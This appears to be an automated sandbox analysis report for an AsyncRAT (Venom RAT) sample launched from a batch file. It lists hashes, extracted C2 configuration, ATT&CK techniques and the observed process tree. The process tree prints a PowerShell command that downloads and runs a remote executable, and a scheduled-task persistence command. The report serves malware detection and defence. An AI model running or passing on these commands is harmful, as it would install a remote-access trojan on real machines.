asyncrat | fbb6befab51fcdab9f44079729dd959caecbe24975dfe212e921ec08e5c45f48

Analysis

max time kernel
390s
max time network
386s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 22:59

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General

Target

test.bat
Size

2KB
MD5

83834b6e8e0b6ccea0df9ed0c91ecbc9
SHA1

6f706a5d11739d2ebb52a1c15732341db0229b2d
SHA256

fbb6befab51fcdab9f44079729dd959caecbe24975dfe212e921ec08e5c45f48
SHA512

aac78c21a40dfbd0656dcdc47b0a4b9a65b5abaf3097178eae1ae185bfaabbb4aab3f2f722114032bb04559e6978706ba4b6a0c4e10ecf5d8a76391286ac064e

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

66.66.146.74:9511

Mutex

8906005788005HTGF

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0009000000023ccf-17.dat	family_asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	3768	powershell.exe
10	3768	powershell.exe
57	324	powershell.exe
58	324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3768	powershell.exe
324	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	virus.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WINDOWS.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	virus.exe

Executes dropped EXE 4 IoCs

pid	Process
4348	virus.exe
3776	WINDOWS.exe
1396	virus.exe
3780	WINDOWS.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
2292	timeout.exe
1480	timeout.exe
3968	timeout.exe
1152	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3248	schtasks.exe
4912	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3768	powershell.exe
3768	powershell.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
4348	virus.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe
3776	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeDebugPrivilege	4348	virus.exe
Token: SeDebugPrivilege	3776	WINDOWS.exe
Token: SeDebugPrivilege	1396	virus.exe
Token: SeDebugPrivilege	3780	WINDOWS.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3776	WINDOWS.exe
3780	WINDOWS.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 3768	2876	cmd.exe	83
PID 2876 wrote to memory of 3768	2876	cmd.exe	83
PID 3768 wrote to memory of 4348	3768	powershell.exe	85
PID 3768 wrote to memory of 4348	3768	powershell.exe	85
PID 4348 wrote to memory of 1640	4348	virus.exe	86
PID 4348 wrote to memory of 1640	4348	virus.exe	86
PID 4348 wrote to memory of 3928	4348	virus.exe	88
PID 4348 wrote to memory of 3928	4348	virus.exe	88
PID 1640 wrote to memory of 3248	1640	cmd.exe	90
PID 1640 wrote to memory of 3248	1640	cmd.exe	90
PID 3928 wrote to memory of 2292	3928	cmd.exe	91
PID 3928 wrote to memory of 2292	3928	cmd.exe	91
PID 3928 wrote to memory of 3776	3928	cmd.exe	92
PID 3928 wrote to memory of 3776	3928	cmd.exe	92
PID 3776 wrote to memory of 2596	3776	WINDOWS.exe	102
PID 3776 wrote to memory of 2596	3776	WINDOWS.exe	102
PID 3776 wrote to memory of 1916	3776	WINDOWS.exe	103
PID 3776 wrote to memory of 1916	3776	WINDOWS.exe	103
PID 1916 wrote to memory of 1480	1916	cmd.exe	106
PID 1916 wrote to memory of 1480	1916	cmd.exe	106
PID 2596 wrote to memory of 2560	2596	cmd.exe	107
PID 2596 wrote to memory of 2560	2596	cmd.exe	107
PID 2876 wrote to memory of 3968	2876	cmd.exe	108
PID 2876 wrote to memory of 3968	2876	cmd.exe	108
PID 2876 wrote to memory of 324	2876	cmd.exe	109
PID 2876 wrote to memory of 324	2876	cmd.exe	109
PID 1396 wrote to memory of 3728	1396	virus.exe	111
PID 1396 wrote to memory of 3728	1396	virus.exe	111
PID 1396 wrote to memory of 4916	1396	virus.exe	112
PID 1396 wrote to memory of 4916	1396	virus.exe	112
PID 4916 wrote to memory of 1152	4916	cmd.exe	115
PID 4916 wrote to memory of 1152	4916	cmd.exe	115
PID 3728 wrote to memory of 4912	3728	cmd.exe	116
PID 3728 wrote to memory of 4912	3728	cmd.exe	116
PID 4916 wrote to memory of 3780	4916	cmd.exe	117
PID 4916 wrote to memory of 3780	4916	cmd.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"$env:Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Users\Admin\AppData\Local\Temp\virus.exe
    "C:\Users\Admin\AppData\Local\Temp\virus.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1640
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3248
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD85E.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3928
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2292
    - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3776
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "WINDOWS"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2596
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "WINDOWS"
        7⤵
        
        PID:2560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp50DC.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1916
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:1480
- C:\Windows\system32\timeout.exe
  timeout /t 5
  2⤵
  - Delays execution with timeout.exe
  PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"$env:Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:324
- - C:\Users\Admin\AppData\Local\Temp\virus.exe
    "C:\Users\Admin\AppData\Local\Temp\virus.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3728
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7D0C.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4916
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1152
    - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WINDOWS.exe.log

Filesize
1KB

MD5
2a2a8e440e72804d71b28a253be43b2d

SHA1
4e535db905170261ca591c4491c454797d7d080f

SHA256
86b9e4d3d0315161179f8e7c5b6ddd4333c28b5a8f5c0a2c5dc0556d5d8a195a

SHA512
a53aa3e53c6faa9e4710733ea199112e92e0f919ff94135319e92edbf644f4cda5161a6bcbf6e58d205055bc628df87ecf7c77f44a3ab80c63fef7d4a2d18bf2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\virus.exe.log

Filesize
1KB

MD5
baf55b95da4a601229647f25dad12878

SHA1
abc16954ebfd213733c4493fc1910164d825cac8

SHA256
ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

SHA512
24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zoueptuu.h3o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp50DC.tmp.bat

Filesize
156B

MD5
a74ebea0f2d5b23c19a53fcf627699d1

SHA1
531abf7f1af43474ae2912756ec3021600fd4f47

SHA256
16b6454fb5cd8142c6871b4d01a10bdb9cbb742c8fa3931d547ea0257863c598

SHA512
07102d3e00e64ca1017e1d180cad0119bb009edd795f62f43035ce8d531c1dea4b94740036cd81184fa8409f5a5590e467a87cae4f1ae7ffb54ae74d4c6a7a02

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7D0C.tmp.bat

Filesize
151B

MD5
47e340f1bb2328ac3c683c928c09365a

SHA1
176b0896d87c86d60582198f115b1e4517da55f7

SHA256
bef12c897570d2194c1c1ef02ecae5c8b80b8df3bec3bcc1952c4e8dcbee33f6

SHA512
7c67ac2e1ce34a71659c9f9529a148c32b01f4d7760861ceb315fd935aa3c3873327db33c616a8328e40fdaafe1ca2f8cbcf88d2929ba6ca20266b703089ded8

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpD85E.tmp.bat

Filesize
151B

MD5
9b5bbacb23cc1b51935444b65f1f7161

SHA1
1c03badad130ccf786ab200944e8a2397486f097

SHA256
22461c463196880e79926654379a7408f49dadfcddc436f1ee8bdcc451238187

SHA512
f8075da4f7665e41a6bcdb69f308db2de8c3b327f16ba6c9f723e7a2c10770529ce9844175953d298f2e8754f8f25a0be1ccaea60a5d592fbc917bb360993f1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\virus.exe

Filesize
74KB

MD5
7a545dbf06e65f7f17f04ae0f5153e0e

SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4

SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d

SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/3768-12-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/3768-53-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/3768-0-0x00007FF865413000-0x00007FF865415000-memory.dmp

Filesize
8KB

Download
memory/3768-34-0x00007FF865413000-0x00007FF865415000-memory.dmp

Filesize
8KB

Download
memory/3768-35-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/3768-11-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/3768-40-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/3768-10-0x0000028620830000-0x0000028620852000-memory.dmp

Filesize
136KB

Download
memory/3776-46-0x000000001CDD0000-0x000000001CE36000-memory.dmp

Filesize
408KB

Download
memory/3776-45-0x000000001BD30000-0x000000001BD4E000-memory.dmp

Filesize
120KB

Download
memory/3776-44-0x0000000003210000-0x0000000003220000-memory.dmp

Filesize
64KB

Download
memory/3776-43-0x000000001D150000-0x000000001D1C6000-memory.dmp

Filesize
472KB

Download
memory/4348-32-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4348-27-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4348-25-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4348-24-0x0000000000940000-0x0000000000958000-memory.dmp

Filesize
96KB

Download